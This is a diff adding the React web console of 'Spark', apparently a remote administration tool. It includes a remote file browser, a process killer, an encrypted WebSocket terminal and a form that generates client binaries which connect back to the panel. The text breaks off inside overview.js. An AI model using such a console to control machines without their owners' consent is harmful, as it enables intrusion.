Normal file
1
web/dist/vendors.js
vendored
Normal file
File diff suppressed because one or more lines are too long
6825
web/package-lock.json
generated
Normal file
6825
web/package-lock.json
generated
Normal file
File diff suppressed because it is too large
Load Diff
52
web/package.json
Normal file
52
web/package.json
Normal file
@@ -0,0 +1,52 @@
|
||||
{
|
||||
"name": "spark",
|
||||
"version": "1.0.0",
|
||||
"description": "",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"start": "set NODE_ENV=development | npx webpack serve --mode development",
|
||||
"build-dev": "set NODE_ENV=development | npx webpack --mode development",
|
||||
"build-prod": "set NODE_ENV=production | npx webpack --mode production"
|
||||
},
|
||||
"dependencies": {
|
||||
"@ant-design/icons": "^4.6.2",
|
||||
"@ant-design/pro-form": "^1.32.1",
|
||||
"@ant-design/pro-layout": "^6.23.0",
|
||||
"@ant-design/pro-table": "^2.45.0",
|
||||
"antd": "^4.16.8",
|
||||
"axios": "latest",
|
||||
"crypto-js": "^4.1.1",
|
||||
"dayjs": "^1.10.6",
|
||||
"lodash": "^4.17.21",
|
||||
"qs": "^6.10.3",
|
||||
"react": "^17.0.2",
|
||||
"react-dom": "^17.0.2",
|
||||
"react-motion": "^0.5.2",
|
||||
"react-router": "^6.2.2",
|
||||
"react-router-dom": "^6.2.2",
|
||||
"xterm": "^4.18.0",
|
||||
"xterm-addon-fit": "^0.5.0",
|
||||
"xterm-addon-web-links": "^0.5.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@babel/core": "latest",
|
||||
"@babel/preset-env": "latest",
|
||||
"@babel/preset-react": "latest",
|
||||
"antd-dayjs-webpack-plugin": "^1.0.6",
|
||||
"babel-loader": "latest",
|
||||
"clean-webpack-plugin": "^4.0.0",
|
||||
"copy-webpack-plugin": "^10.2.4",
|
||||
"css-loader": "latest",
|
||||
"html-webpack-plugin": "^5.5.0",
|
||||
"less": "^4.1.1",
|
||||
"less-loader": "^10.0.1",
|
||||
"react-text-loop": "^2.3.0",
|
||||
"style-loader": "latest",
|
||||
"uglifyjs-webpack-plugin": "^2.2.0",
|
||||
"webpack": "^5.18.0",
|
||||
"webpack-cli": "^4.4.0",
|
||||
"webpack-dev-server": "^4.7.4"
|
||||
},
|
||||
"author": "XZB",
|
||||
"license": "ISC"
|
||||
}
|
13
web/public/index.html
Normal file
13
web/public/index.html
Normal file
@@ -0,0 +1,13 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<meta content="width=device-width, initial-scale=1" name="viewport"/>
|
||||
<meta content="#000000" name="theme-color"/>
|
||||
<title>Spark</title>
|
||||
</head>
|
||||
<body>
|
||||
<noscript>You need to enable JavaScript to run this app.</noscript>
|
||||
<div id="root"></div>
|
||||
</body>
|
||||
</html>
|
4
web/src/components/browser.css
Normal file
4
web/src/components/browser.css
Normal file
@@ -0,0 +1,4 @@
|
||||
.file-row {
|
||||
user-select: none;
|
||||
cursor: pointer;
|
||||
}
|
208
web/src/components/browser.js
Normal file
208
web/src/components/browser.js
Normal file
@@ -0,0 +1,208 @@
|
||||
import React, {useEffect, useRef, useState} from 'react';
|
||||
import {message, Modal, Popconfirm} from "antd";
|
||||
import ProTable from '@ant-design/pro-table';
|
||||
import {formatSize, post, request, waitTime} from "../utils/utils";
|
||||
import './browser.css';
|
||||
import dayjs from "dayjs";
|
||||
|
||||
function FileBrowser(props) {
|
||||
const [path, setPath] = useState(`/`);
|
||||
const [loading, setLoading] = useState(false);
|
||||
const columns = [
|
||||
{
|
||||
key: 'Name',
|
||||
title: 'Name',
|
||||
dataIndex: 'name',
|
||||
ellipsis: true,
|
||||
width: 180
|
||||
},
|
||||
{
|
||||
key: 'Size',
|
||||
title: 'Size',
|
||||
dataIndex: 'size',
|
||||
ellipsis: true,
|
||||
width: 60,
|
||||
renderText: (size, file) => file.type === 0 ? formatSize(size) : '-'
|
||||
},
|
||||
{
|
||||
key: 'Time',
|
||||
title: 'Time Modified',
|
||||
dataIndex: 'time',
|
||||
ellipsis: true,
|
||||
width: 100,
|
||||
renderText: (ts, file) => file.type === 0 ? dayjs.unix(ts).format('YYYY/MM/DD HH:mm') : '-'
|
||||
},
|
||||
{
|
||||
key: 'Option',
|
||||
width: 120,
|
||||
title: '操作',
|
||||
dataIndex: 'name',
|
||||
valueType: 'option',
|
||||
ellipsis: true,
|
||||
render: (_, file) => renderOperation(file)
|
||||
},
|
||||
];
|
||||
const options = {
|
||||
show: true,
|
||||
density: false,
|
||||
setting: false,
|
||||
};
|
||||
const tableRef = useRef();
|
||||
useEffect(() => {
|
||||
setPath(`/`);
|
||||
if (props.visible) {
|
||||
setLoading(false);
|
||||
}
|
||||
}, [props.device, props.visible]);
|
||||
|
||||
function renderOperation(file) {
|
||||
let remove = (
|
||||
<Popconfirm
|
||||
key='remove'
|
||||
title={'确定要删除该' + (file.type === 0 ? '文件' : '目录') + '吗?'}
|
||||
onConfirm={removeFile.bind(null, file.name)}
|
||||
>
|
||||
<a>删除</a>
|
||||
</Popconfirm>
|
||||
);
|
||||
switch (file.type) {
|
||||
case 0:
|
||||
return [
|
||||
<a
|
||||
key='download'
|
||||
onClick={downloadFile.bind(null, file.name)}
|
||||
>下载</a>,
|
||||
remove,
|
||||
];
|
||||
case 1:
|
||||
return [remove];
|
||||
case 2:
|
||||
return [];
|
||||
}
|
||||
return [];
|
||||
}
|
||||
|
||||
function onRowClick(file) {
|
||||
let separator = props.isWindows ? '\\' : '/';
|
||||
if (file.name === '..') {
|
||||
listFiles(getLastPath());
|
||||
return;
|
||||
}
|
||||
if (file.type !== 0) {
|
||||
if (props.isWindows) {
|
||||
if (path === '/' || path === '\\' || path.length === 0) {
|
||||
listFiles(file.name + separator);
|
||||
return
|
||||
}
|
||||
}
|
||||
listFiles(path + file.name + separator);
|
||||
}
|
||||
}
|
||||
|
||||
function listFiles(newPath) {
|
||||
setPath(newPath);
|
||||
tableRef.current.reload();
|
||||
}
|
||||
|
||||
function getLastPath() {
|
||||
let separator = props.isWindows ? '\\' : '/';
|
||||
// remove the last separator
|
||||
// or there'll be an empty element after split
|
||||
let tempPath = path.substring(0, path.length - 1);
|
||||
let pathArr = tempPath.split(separator);
|
||||
// remove current folder
|
||||
pathArr.pop();
|
||||
// back to root folder
|
||||
if (pathArr.length === 0) {
|
||||
return `/`;
|
||||
}
|
||||
return pathArr.join(separator) + separator;
|
||||
}
|
||||
|
||||
function downloadFile(file) {
|
||||
post(location.origin + location.pathname + 'api/device/file/get', {
|
||||
file: path + file,
|
||||
device: props.device
|
||||
});
|
||||
}
|
||||
|
||||
function removeFile(file) {
|
||||
request(`/api/device/file/remove`, {path: path+file, device: props.device}).then(res => {
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
message.success('文件或目录已被删除');
|
||||
tableRef.current.reload();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
async function getData(form) {
|
||||
await waitTime(300);
|
||||
let res = await request('/api/device/file/list', {path: path, device: props.device});
|
||||
setLoading(false);
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
let addParentShortcut = false;
|
||||
data.data.files = data.data.files.sort((first, second) => (second.type - first.type));
|
||||
if (path.length > 0 && path !== '/' && path !== '\\') {
|
||||
addParentShortcut = true;
|
||||
data.data.files.unshift({
|
||||
name: '..',
|
||||
size: '0',
|
||||
type: 3,
|
||||
modTime: 0
|
||||
});
|
||||
}
|
||||
return ({
|
||||
data: data.data.files,
|
||||
success: true,
|
||||
total: data.data.files.length - (addParentShortcut?1:0)
|
||||
});
|
||||
}
|
||||
setPath(getLastPath());
|
||||
return ({data: [], success: false, total: 0});
|
||||
}
|
||||
|
||||
return (
|
||||
<Modal
|
||||
destroyOnClose={true}
|
||||
title='File Explorer'
|
||||
footer={null}
|
||||
height={500}
|
||||
width={800}
|
||||
bodyStyle={{
|
||||
padding: 0
|
||||
}}
|
||||
{...props}
|
||||
>
|
||||
<ProTable
|
||||
rowKey='name'
|
||||
onRow={file => ({
|
||||
onDoubleClick: onRowClick.bind(null, file),
|
||||
})}
|
||||
tableStyle={{
|
||||
minHeight: '350px',
|
||||
maxHeight: '350px'
|
||||
}}
|
||||
toolbar={{
|
||||
actions: []
|
||||
}}
|
||||
scroll={{scrollToFirstRowOnChange: true, y: 300}}
|
||||
search={false}
|
||||
size='small'
|
||||
loading={loading}
|
||||
rowClassName='file-row'
|
||||
onLoadingChange={setLoading}
|
||||
options={options}
|
||||
columns={columns}
|
||||
request={getData}
|
||||
pagination={false}
|
||||
actionRef={tableRef}
|
||||
>
|
||||
|
||||
</ProTable>
|
||||
</Modal>
|
||||
)
|
||||
}
|
||||
|
||||
export default FileBrowser;
|
92
web/src/components/generate.js
Normal file
92
web/src/components/generate.js
Normal file
@@ -0,0 +1,92 @@
|
||||
import React from 'react';
|
||||
import {ModalForm, ProFormCascader, ProFormDigit, ProFormGroup, ProFormText} from '@ant-design/pro-form';
|
||||
import {post, request} from "../utils/utils";
|
||||
import prebuilt from './prebuilt.json';
|
||||
|
||||
function Generate(props) {
|
||||
const initValues = getInitValues();
|
||||
|
||||
async function onFinish(form) {
|
||||
if (form?.ArchOS?.length === 2) {
|
||||
form.os = form.ArchOS[0];
|
||||
form.arch = form.ArchOS[1];
|
||||
delete form.ArchOS;
|
||||
}
|
||||
form.secure = location.protocol === 'https:' ? 'true' : 'false';
|
||||
let basePath = location.origin + location.pathname + 'api/client/';
|
||||
request(basePath + 'check', form)
|
||||
.then((res) => {
|
||||
if (res.data.code === 0) {
|
||||
post(basePath += 'generate', form);
|
||||
}
|
||||
})
|
||||
.catch()
|
||||
}
|
||||
|
||||
function getInitValues() {
|
||||
let initValues = {
|
||||
host: location.hostname,
|
||||
port: location.port,
|
||||
path: location.pathname,
|
||||
ArchOS: ['windows', 'amd64']
|
||||
};
|
||||
if (String(location.port).length === 0) {
|
||||
initValues.port = location.protocol === 'https:' ? 443 : 80;
|
||||
}
|
||||
return initValues;
|
||||
}
|
||||
|
||||
return (
|
||||
<ModalForm
|
||||
modalProps={{destroyOnClose: true}}
|
||||
initialValues={initValues}
|
||||
onFinish={onFinish}
|
||||
submitter={{
|
||||
render: (_, elems) => elems.pop()
|
||||
}}
|
||||
{...props}
|
||||
>
|
||||
<ProFormGroup>
|
||||
<ProFormText
|
||||
width="md"
|
||||
name="host"
|
||||
label="Host"
|
||||
rules={[{
|
||||
required: true
|
||||
}]}
|
||||
/>
|
||||
<ProFormDigit
|
||||
width="md"
|
||||
name="port"
|
||||
label="Port"
|
||||
min={1}
|
||||
max={65535}
|
||||
rules={[{
|
||||
required: true
|
||||
}]}
|
||||
/>
|
||||
</ProFormGroup>
|
||||
<ProFormGroup>
|
||||
<ProFormText
|
||||
width="md"
|
||||
name="path"
|
||||
label="Path"
|
||||
rules={[{
|
||||
required: true
|
||||
}]}
|
||||
/>
|
||||
<ProFormCascader
|
||||
width="md"
|
||||
name="ArchOS"
|
||||
label="OS & Arch"
|
||||
request={() => prebuilt}
|
||||
rules={[{
|
||||
required: true
|
||||
}]}
|
||||
/>
|
||||
</ProFormGroup>
|
||||
</ModalForm>
|
||||
)
|
||||
}
|
||||
|
||||
export default Generate;
|
46
web/src/components/prebuilt.json
Normal file
46
web/src/components/prebuilt.json
Normal file
@@ -0,0 +1,46 @@
|
||||
[
|
||||
{
|
||||
"value": "linux",
|
||||
"label": "Linux",
|
||||
"children": [
|
||||
{
|
||||
"value": "arm",
|
||||
"label": "arm"
|
||||
},
|
||||
{
|
||||
"value": "arm64",
|
||||
"label": "arm64"
|
||||
},
|
||||
{
|
||||
"value": "i386",
|
||||
"label": "i386"
|
||||
},
|
||||
{
|
||||
"value": "amd64",
|
||||
"label": "amd64"
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"value": "windows",
|
||||
"label": "Windows",
|
||||
"children": [
|
||||
{
|
||||
"value": "arm",
|
||||
"label": "arm"
|
||||
},
|
||||
{
|
||||
"value": "arm64",
|
||||
"label": "arm64"
|
||||
},
|
||||
{
|
||||
"value": "i386",
|
||||
"label": "i386"
|
||||
},
|
||||
{
|
||||
"value": "amd64",
|
||||
"label": "amd64"
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
121
web/src/components/processes.js
Normal file
121
web/src/components/processes.js
Normal file
@@ -0,0 +1,121 @@
|
||||
import React, {useEffect, useRef, useState} from 'react';
|
||||
import {message, Modal, Popconfirm} from "antd";
|
||||
import ProTable from '@ant-design/pro-table';
|
||||
import {request, waitTime} from "../utils/utils";
|
||||
|
||||
function ProcessMgr(props) {
|
||||
const [loading, setLoading] = useState(false);
|
||||
const columns = [
|
||||
{
|
||||
key: 'Name',
|
||||
title: 'Name',
|
||||
dataIndex: 'name',
|
||||
ellipsis: true,
|
||||
width: 120
|
||||
},
|
||||
{
|
||||
key: 'Pid',
|
||||
title: 'Pid',
|
||||
dataIndex: 'pid',
|
||||
ellipsis: true,
|
||||
width: 40
|
||||
},
|
||||
{
|
||||
key: 'Option',
|
||||
width: 40,
|
||||
title: '操作',
|
||||
dataIndex: 'name',
|
||||
valueType: 'option',
|
||||
ellipsis: true,
|
||||
render: (_, file) => renderOperation(file)
|
||||
},
|
||||
];
|
||||
const options = {
|
||||
show: true,
|
||||
density: false,
|
||||
setting: false,
|
||||
};
|
||||
const tableRef = useRef();
|
||||
useEffect(() => {
|
||||
if (props.visible) {
|
||||
setLoading(false);
|
||||
}
|
||||
}, [props.device, props.visible]);
|
||||
|
||||
function renderOperation(proc) {
|
||||
return [
|
||||
<Popconfirm
|
||||
key='kill'
|
||||
title={'确定要结束该进程吗?'}
|
||||
onConfirm={killProcess.bind(null, proc.pid)}
|
||||
>
|
||||
<a>结束</a>
|
||||
</Popconfirm>
|
||||
];
|
||||
}
|
||||
|
||||
function killProcess(pid) {
|
||||
request(`/api/device/process/kill`, {pid: pid, device: props.device}).then(res => {
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
message.success('进程已结束');
|
||||
tableRef.current.reload();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
async function getData(form) {
|
||||
await waitTime(300);
|
||||
let res = await request('/api/device/process/list', {device: props.device});
|
||||
setLoading(false);
|
||||
let data = res.data;
|
||||
if (data.code === 0) {
|
||||
data.data.processes = data.data.processes.sort((first, second) => (second.pid - first.pid));
|
||||
return ({
|
||||
data: data.data.processes,
|
||||
success: true,
|
||||
total: data.data.processes.length
|
||||
});
|
||||
}
|
||||
return ({data: [], success: false, total: 0});
|
||||
}
|
||||
|
||||
return (
|
||||
<Modal
|
||||
destroyOnClose={true}
|
||||
title='Process Manager'
|
||||
footer={null}
|
||||
height={500}
|
||||
width={400}
|
||||
bodyStyle={{
|
||||
padding: 0
|
||||
}}
|
||||
{...props}
|
||||
>
|
||||
<ProTable
|
||||
rowKey='pid'
|
||||
tableStyle={{
|
||||
minHeight: '350px',
|
||||
maxHeight: '350px'
|
||||
}}
|
||||
toolbar={{
|
||||
actions: []
|
||||
}}
|
||||
scroll={{scrollToFirstRowOnChange: true, y: 300}}
|
||||
search={false}
|
||||
size='small'
|
||||
loading={loading}
|
||||
onLoadingChange={setLoading}
|
||||
options={options}
|
||||
columns={columns}
|
||||
request={getData}
|
||||
pagination={false}
|
||||
actionRef={tableRef}
|
||||
>
|
||||
|
||||
</ProTable>
|
||||
</Modal>
|
||||
)
|
||||
}
|
||||
|
||||
export default ProcessMgr;
|
301
web/src/components/terminal.js
Normal file
301
web/src/components/terminal.js
Normal file
@@ -0,0 +1,301 @@
|
||||
import React, {createRef} from "react";
|
||||
import {Modal} from "antd";
|
||||
import {Terminal} from "xterm";
|
||||
import {WebLinksAddon} from "xterm-addon-web-links";
|
||||
import {FitAddon} from "xterm-addon-fit";
|
||||
import debounce from 'lodash/debounce';
|
||||
import CryptoJS from 'crypto-js';
|
||||
import "xterm/css/xterm.css";
|
||||
|
||||
function hex2buf(hex) {
|
||||
if (typeof hex !== 'string') {
|
||||
return new Uint8Array([]);
|
||||
}
|
||||
let list = hex.match(/.{1,2}/g);
|
||||
if (list === null) {
|
||||
return new Uint8Array([]);
|
||||
}
|
||||
return new Uint8Array(list.map(byte => parseInt(byte, 16)));
|
||||
}
|
||||
|
||||
function ab2str(buffer) {
|
||||
const array = new Uint8Array(buffer);
|
||||
let out, i, len, c;
|
||||
let char2, char3;
|
||||
|
||||
out = "";
|
||||
len = array.length;
|
||||
i = 0;
|
||||
while (i < len) {
|
||||
c = array[i++];
|
||||
switch (c >> 4) {
|
||||
case 0:
|
||||
case 1:
|
||||
case 2:
|
||||
case 3:
|
||||
case 4:
|
||||
case 5:
|
||||
case 6:
|
||||
case 7:
|
||||
out += String.fromCharCode(c);
|
||||
break;
|
||||
case 12:
|
||||
case 13:
|
||||
char2 = array[i++];
|
||||
out += String.fromCharCode(((c & 0x1F) << 6) | (char2 & 0x3F));
|
||||
break;
|
||||
case 14:
|
||||
char2 = array[i++];
|
||||
char3 = array[i++];
|
||||
out += String.fromCharCode(((c & 0x0F) << 12) |
|
||||
((char2 & 0x3F) << 6) |
|
||||
((char3 & 0x3F) << 0));
|
||||
break;
|
||||
}
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function getBaseURL() {
|
||||
if (location.protocol === 'https:') {
|
||||
return `wss://${location.host}${location.pathname}api/device/terminal`;
|
||||
}
|
||||
return `ws://${location.host}${location.pathname}api/device/terminal`;
|
||||
}
|
||||
|
||||
function genRandHex(length) {
|
||||
return [...Array(length)].map(() => Math.floor(Math.random() * 16).toString(16)).join('');
|
||||
}
|
||||
|
||||
function wordArray2Uint8Array(wordArray) {
|
||||
const l = wordArray.sigBytes;
|
||||
const words = wordArray.words;
|
||||
const result = new Uint8Array(l);
|
||||
var i = 0 /*dst*/, j = 0 /*src*/;
|
||||
while (true) {
|
||||
// here i is a multiple of 4
|
||||
if (i === l)
|
||||
break;
|
||||
var w = words[j++];
|
||||
result[i++] = (w & 0xff000000) >>> 24;
|
||||
if (i === l)
|
||||
break;
|
||||
result[i++] = (w & 0x00ff0000) >>> 16;
|
||||
if (i === l)
|
||||
break;
|
||||
result[i++] = (w & 0x0000ff00) >>> 8;
|
||||
if (i === l)
|
||||
break;
|
||||
result[i++] = (w & 0x000000ff);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
class TerminalModal extends React.Component {
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.ticker = 0;
|
||||
this.ws = null;
|
||||
this.conn = false;
|
||||
this.opened = false;
|
||||
this.termRef = createRef();
|
||||
this.secret = CryptoJS.enc.Hex.parse(genRandHex(32));
|
||||
this.termEv = null;
|
||||
this.term = new Terminal({
|
||||
convertEol: true,
|
||||
allowTransparency: false,
|
||||
cursorBlink: true,
|
||||
cursorStyle: "block",
|
||||
fontFamily: "Hack, monospace",
|
||||
fontSize: 16,
|
||||
logLevel: process.env.NODE_ENV === "development" ? "info" : "off",
|
||||
});
|
||||
this.doResize.call(this);
|
||||
}
|
||||
|
||||
initialize(ev) {
|
||||
let cmd = '';
|
||||
let buffer = '';
|
||||
let termEv = null;
|
||||
termEv = this.term.onData((e) => {
|
||||
if (!this.conn) {
|
||||
if (e === '\r' || e === ' ') {
|
||||
this.term.write('\n正在重新连接...\n');
|
||||
this.initialize(termEv);
|
||||
}
|
||||
return;
|
||||
}
|
||||
switch (e) {
|
||||
case '\u0003':
|
||||
this.term.write('^C');
|
||||
this.sendInput('\u0003');
|
||||
break;
|
||||
case '\r':
|
||||
this.term.write('\n');
|
||||
this.sendInput(cmd + '\n');
|
||||
buffer = cmd + '\n';
|
||||
cmd = '';
|
||||
break;
|
||||
case '\u007F':
|
||||
if (cmd.length > 0) {
|
||||
cmd = cmd.substring(0, cmd.length - 1);
|
||||
this.term.write('\b \b');
|
||||
}
|
||||
break;
|
||||
default:
|
||||
if ((e >= String.fromCharCode(0x20) && e <= String.fromCharCode(0x7B)) || e >= '\u00a0') {
|
||||
cmd += e;
|
||||
this.term.write(e);
|
||||
return;
|
||||
}
|
||||
}
|
||||
});
|
||||
this.ws = new WebSocket(`${getBaseURL()}?device=${this.props.device}&secret=${this.secret}`);
|
||||
this.ws.binaryType = 'arraybuffer';
|
||||
this.ws.onopen = () => {
|
||||
this.conn = true;
|
||||
if (ev != null) {
|
||||
ev.dispose();
|
||||
}
|
||||
}
|
||||
this.ws.onmessage = (e) => {
|
||||
let data = this.decrypt(e.data);
|
||||
try {
|
||||
data = JSON.parse(data);
|
||||
} catch (_) {
|
||||
}
|
||||
if (this.conn) {
|
||||
data = ab2str(hex2buf(data?.data?.output));
|
||||
if (data === buffer) {
|
||||
buffer = '';
|
||||
return;
|
||||
}
|
||||
this.term.write(data);
|
||||
}
|
||||
}
|
||||
this.ws.onclose = (e) => {
|
||||
if (this.conn) {
|
||||
this.conn = false;
|
||||
this.term.write('\n连接已断开!\n');
|
||||
}
|
||||
}
|
||||
this.ws.onerror = (e) => {
|
||||
if (this.conn) {
|
||||
this.conn = false;
|
||||
this.term.write('\n连接已断开!\n');
|
||||
}
|
||||
}
|
||||
return termEv;
|
||||
}
|
||||
|
||||
encrypt(data) {
|
||||
let json = JSON.stringify(data);
|
||||
json = CryptoJS.enc.Utf8.parse(json);
|
||||
let encrypted = CryptoJS.AES.encrypt(json, this.secret, {
|
||||
mode: CryptoJS.mode.CTR,
|
||||
iv: this.secret,
|
||||
padding: CryptoJS.pad.NoPadding
|
||||
});
|
||||
return wordArray2Uint8Array(encrypted.ciphertext);
|
||||
}
|
||||
|
||||
decrypt(data) {
|
||||
data = CryptoJS.lib.WordArray.create(data);
|
||||
let decrypted = CryptoJS.AES.encrypt(data, this.secret, {
|
||||
mode: CryptoJS.mode.CTR,
|
||||
iv: this.secret,
|
||||
padding: CryptoJS.pad.NoPadding
|
||||
});
|
||||
return ab2str(wordArray2Uint8Array(decrypted.ciphertext).buffer);
|
||||
}
|
||||
|
||||
sendInput(input) {
|
||||
if (this.conn) {
|
||||
this.sendData({
|
||||
act: 'inputTerminal',
|
||||
data: {
|
||||
input: CryptoJS.enc.Hex.stringify(CryptoJS.enc.Utf8.parse(input))
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
sendData(data) {
|
||||
if (this.conn) {
|
||||
this.ws.send(this.encrypt(data));
|
||||
}
|
||||
}
|
||||
|
||||
componentDidUpdate(prevProps) {
|
||||
if (prevProps.visible) {
|
||||
clearInterval(this.ticker);
|
||||
if (this.conn) {
|
||||
this.ws.close();
|
||||
}
|
||||
this.termEv.dispose();
|
||||
this.termEv = null;
|
||||
} else {
|
||||
if (this.props.visible) {
|
||||
if (!this.opened) {
|
||||
this.opened = true;
|
||||
this.fit = new FitAddon();
|
||||
this.term.loadAddon(this.fit);
|
||||
this.term.loadAddon(new WebLinksAddon());
|
||||
this.term.open(this.termRef.current);
|
||||
this.fit.fit();
|
||||
this.term.focus();
|
||||
window.onresize = this.onResize.bind(this);
|
||||
}
|
||||
this.term.clear();
|
||||
this.termEv = this.initialize(null);
|
||||
setInterval(function () {
|
||||
if (this.conn) {
|
||||
this.sendData({act: 'heartbeat'});
|
||||
}
|
||||
}, 1500);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
componentWillUnmount() {
|
||||
window.onresize = null;
|
||||
if (this.conn) {
|
||||
this.ws.close();
|
||||
}
|
||||
this.term.dispose();
|
||||
}
|
||||
|
||||
doResize() {
|
||||
let height = document.body.clientHeight;
|
||||
let rows = height / 42;
|
||||
this?.fit?.fit?.();
|
||||
this?.term?.resize?.(this?.term?.cols, parseInt(rows));
|
||||
this?.term?.scrollToBottom?.();
|
||||
}
|
||||
|
||||
onResize() {
|
||||
if (typeof this.doResize === 'function') {
|
||||
debounce(this.doResize.bind(this), 70);
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<Modal
|
||||
title='Terminal'
|
||||
visible={this.props.visible}
|
||||
onCancel={this.props.onCancel}
|
||||
destroyOnClose={false}
|
||||
footer={null}
|
||||
height={150}
|
||||
width={900}
|
||||
>
|
||||
<div
|
||||
ref={this.termRef}
|
||||
/>
|
||||
</Modal>
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
export default TerminalModal;
|
7
web/src/components/wrapper.css
Normal file
7
web/src/components/wrapper.css
Normal file
@@ -0,0 +1,7 @@
|
||||
.ant-page-header {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.ant-pro-top-nav-header-logo {
|
||||
user-select: none;
|
||||
}
|
35
web/src/components/wrapper.js
Normal file
35
web/src/components/wrapper.js
Normal file
@@ -0,0 +1,35 @@
|
||||
import React from 'react';
|
||||
import ProLayout, {PageContainer} from '@ant-design/pro-layout';
|
||||
import './wrapper.css';
|
||||
|
||||
function wrapper(props) {
|
||||
return (
|
||||
<ProLayout
|
||||
loading={false}
|
||||
title='Spark'
|
||||
layout='top'
|
||||
navTheme='light'
|
||||
collapsed={true}
|
||||
fixedHeader={true}
|
||||
contentWidth='fluid'
|
||||
collapsedButtonRender={Title}
|
||||
>
|
||||
<PageContainer>
|
||||
{props.children}
|
||||
</PageContainer>
|
||||
</ProLayout>
|
||||
);
|
||||
};
|
||||
function Title() {
|
||||
return (
|
||||
<div
|
||||
style={{
|
||||
userSelect: 'none',
|
||||
fontWeight: 500
|
||||
}}
|
||||
>
|
||||
Spark
|
||||
</div>
|
||||
)
|
||||
}
|
||||
export default wrapper;
|
12
web/src/global.css
Normal file
12
web/src/global.css
Normal file
@@ -0,0 +1,12 @@
|
||||
#root {
|
||||
height: 100%;
|
||||
background-image: url('static/bg.svg');
|
||||
background-repeat: no-repeat;
|
||||
background-position: center 110px;
|
||||
background-color: #f0f2f5;
|
||||
background-size: 100%;
|
||||
}
|
||||
|
||||
.ant-table-cell {
|
||||
border: none !important;
|
||||
}
|
54
web/src/index.js
Normal file
54
web/src/index.js
Normal file
@@ -0,0 +1,54 @@
|
||||
import React from 'react';
|
||||
import ReactDOM from 'react-dom';
|
||||
import {HashRouter as Router, Route, Routes} from 'react-router-dom';
|
||||
import Wrapper from './components/wrapper';
|
||||
import Err from './pages/404';
|
||||
import axios from 'axios';
|
||||
import {message} from 'antd';
|
||||
import dayjs from 'dayjs';
|
||||
|
||||
import './global.css';
|
||||
import 'antd/dist/antd.css';
|
||||
import 'dayjs/locale/zh-cn';
|
||||
import Overview from "./pages/overview";
|
||||
|
||||
dayjs.locale('zh-cn');
|
||||
console.log("%c By XZB", 'font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:64px;color:#00bbee;-webkit-text-fill-color:#00bbee;-webkit-text-stroke:1px#00bbee;');
|
||||
|
||||
axios.defaults.baseURL = '.';
|
||||
axios.defaults.timeout = 5000;
|
||||
axios.interceptors.response.use(async (res) => {
|
||||
let data = res.data;
|
||||
if (data.hasOwnProperty('code')) {
|
||||
if (data.code !== 0){
|
||||
message.warn(data.msg);
|
||||
}
|
||||
}
|
||||
return Promise.resolve(res);
|
||||
}, (err) => {
|
||||
if (err.code === 'ECONNABORTED') {
|
||||
message.warn('请求超时');
|
||||
return Promise.resolve(err);
|
||||
}
|
||||
let res = err.response;
|
||||
let data = res.data;
|
||||
if (data.hasOwnProperty('code')) {
|
||||
if (data.code !== 0){
|
||||
message.warn(data.msg);
|
||||
}
|
||||
}
|
||||
return Promise.resolve(res);
|
||||
});
|
||||
|
||||
ReactDOM.render(
|
||||
<Router>
|
||||
<Routes>
|
||||
<Route path="/" element={<Wrapper><Overview/></Wrapper>}/>
|
||||
<Route
|
||||
path="*"
|
||||
element={<Err/>}
|
||||
/>
|
||||
</Routes>
|
||||
</Router>,
|
||||
document.getElementById('root')
|
||||
);
|
15
web/src/pages/404.js
Normal file
15
web/src/pages/404.js
Normal file
@@ -0,0 +1,15 @@
|
||||
import React from 'react';
|
||||
|
||||
export default function () {
|
||||
// setTimeout(()=>{
|
||||
// location.href = '#/';
|
||||
// }, 3000);
|
||||
|
||||
return (
|
||||
<h1 style={{textAlign: 'center', userSelect: 'none'}}>
|
||||
Page Not Found.
|
||||
<br/>
|
||||
未找到该页面。
|
||||
</h1>
|
||||
);
|
||||
}
|
266
web/src/pages/overview.js
Normal file
266
web/src/pages/overview.js
Normal file
@@ -0,0 +1,266 @@
|
||||
import React, {useRef, useState} from 'react';
|
||||
import ProTable, {TableDropdown} from '@ant-design/pro-table';
|
||||
import {Button, Image, message, Modal} from 'antd';
|
||||
import {formatSize, request, tsToTime, waitTime} from "../utils/utils";
|
||||
import Terminal from "../components/terminal";
|
||||
import Processes from "../components/processes";
|
||||
import Generate from "../components/generate";
|
||||
import Browser from "../components/browser";
|
||||
import {QuestionCircleOutlined} from "@ant-design/icons";
|
||||
|
||||
function overview(props) {
|
||||
const [screenBlob, setScreenBlob] = useState('');
|
||||
const [terminal, setTerminal] = useState(false);
|
||||
const [procMgr, setProcMgr] = useState(false);
|
||||
const [browser, setBrowser] = useState(false);
|
||||
const [isWindows, setIsWindows] = useState(false);
|
||||
const columns = [
|
||||
{
|
||||
key: 'Hostname',
|
||||
title: 'Hostname',
|
||||
dataIndex: 'hostname',
|
||||
ellipsis: true,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'Username',
|
||||
title: 'Username',
|
||||
dataIndex: 'username',
|
||||
ellipsis: true,
|
||||
width: 100
|
||||
},
|
||||
{
|
||||
key: 'OS',
|
||||
title: 'OS',
|
||||
dataIndex: 'os',
|
||||
ellipsis: true,
|
||||
width: 80
|
||||
},
|
||||
{
|
||||
key: 'Arch',
|
||||
title: 'Arch',
|
||||
dataIndex: 'arch',
|
||||
ellipsis: true,
|
||||
width: 70
|
||||
},
|
||||
{
|
||||
key: 'Mac',
|
||||
title: 'Mac',
|
